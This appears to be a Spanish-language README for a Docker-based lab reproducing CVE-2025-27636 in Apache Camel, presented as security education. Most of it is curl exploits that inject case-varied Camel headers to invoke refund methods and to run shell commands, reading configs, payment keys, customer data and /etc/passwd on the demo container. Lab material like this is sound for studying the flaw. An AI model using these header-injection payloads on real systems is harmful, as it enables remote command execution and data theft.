
Demuestra la CVE-2025-27636 de Apache Camel con una reproducción basada en Docker de ataques de inyección de cabeceras, incluyendo inyección de métodos de bean y ejecución de comandos para investigación y educación en seguridad.
Este proyecto demuestra vulnerabilidades de seguridad en Apache Camel relacionadas con ataques de inyección de cabeceras.
Compilar la imagen de Docker:
docker build -t camel-cve-demo .
Ejecutar el contenedor con todos los puertos necesarios:
docker run -d `
--name camel-cve-demo `
-p 8080:8080 `
-p 8081:8081 `
-p 8484:8484 `
-v ${PWD}/logs:/app/logs `
-e JAVA_OPTS="-Xmx512m -Xms256m" `
camel-cve-demo
Explotar el endpoint vulnerable inyectando nombres de métodos:
# Ataque exitoso - cabecera sensible a mayúsculas
curl.exe -X POST "http://localhost:8081/api/payment/callback" -H "cAmelBeanMethodName: processRefund" -d "order_id=ORD999&amount=9999.99"
# Alternativa - inyección mediante parámetro de consulta
curl.exe "http://localhost:8081/api/payment/callback?cAmelBeanMethodName=processRefund" -X POST -d "order_id=ORD999&amount=9999.99"
Comparación (estos deberían fallar):
# Mayúsculas incorrectas - no debería funcionar
curl.exe -X POST "http://localhost:8081/api/payment/callback" -H "camelbeanmethodname: processRefund" -d "order_id=ORD999&amount=9999.99"
curl.exe -X POST "http://localhost:8081/api/payment/callback" -H "CamelBeanMethodName: processRefund" -d "order_id=ORD999&amount=9999.99"
Explotar el componente exec para ejecutar comandos arbitrarios:
Reconocimiento:
# Verificar el directorio actual
curl.exe -X POST http://localhost:8484/api/payment/verify-signature -H "cAmelExecCommandExecutable: /bin/sh" -H "cAmelExecCommandArgs: -c pwd"
# Listar el directorio de configuración
curl.exe -X POST http://localhost:8484/api/payment/verify-signature -H "cAmelExecCommandExecutable: /bin/sh" -H "cAmelExecCommandArgs: -c ls -la /app/config/"
# Buscar archivos de configuración
curl.exe -X POST http://localhost:8484/api/payment/verify-signature -H "cAmelExecCommandExecutable: /bin/sh" -H "cAmelExecCommandArgs: -c find / -name database.conf 2>/dev/null"
Exfiltración de Datos:
# Leer la configuración de la base de datos
curl.exe -X POST http://localhost:8484/api/payment/verify-signature -H "cAmelExecCommandExecutable: cat" -H "cAmelExecCommandArgs: /etc/app/config/database.conf"
# Leer los secretos de pago
curl.exe -X POST http://localhost:8484/api/payment/verify-signature -H "cAmelExecCommandExecutable: cat" -H "cAmelExecCommandArgs: /app/secrets/payment.key"
# Leer datos de clientes
curl.exe -X POST http://localhost:8484/api/payment/verify-signature -H "cAmelExecCommandExecutable: cat" -H "cAmelExecCommandArgs:/var/data/customers/customers.csv"
# Leer registros de auditoría
curl.exe -X POST http://localhost:8484/api/payment/verify-signature -H "cAmelExecCommandExecutable: cat" -H "cAmelExecCommandArgs:/var/log/audit/audit.log"
# Leer usuarios del sistema
curl.exe -X POST http://localhost:8484/api/payment/verify-signature -H "cAmelExecCommandExecutable: cat" -H "cAmelExecCommandArgs:/etc/passwd"
# Listar procesos
curl.exe -X POST http://localhost:8484/api/payment/verify-signature -H "cAmelExecCommandExecutable: ps" -H "cAmelExecCommandArgs:aux"
Comprobar los registros de ataque dentro del contenedor:
# Ver intentos de reembolso no autorizados
docker exec camel-cve-demo cat /tmp/unauthorized_refund.txt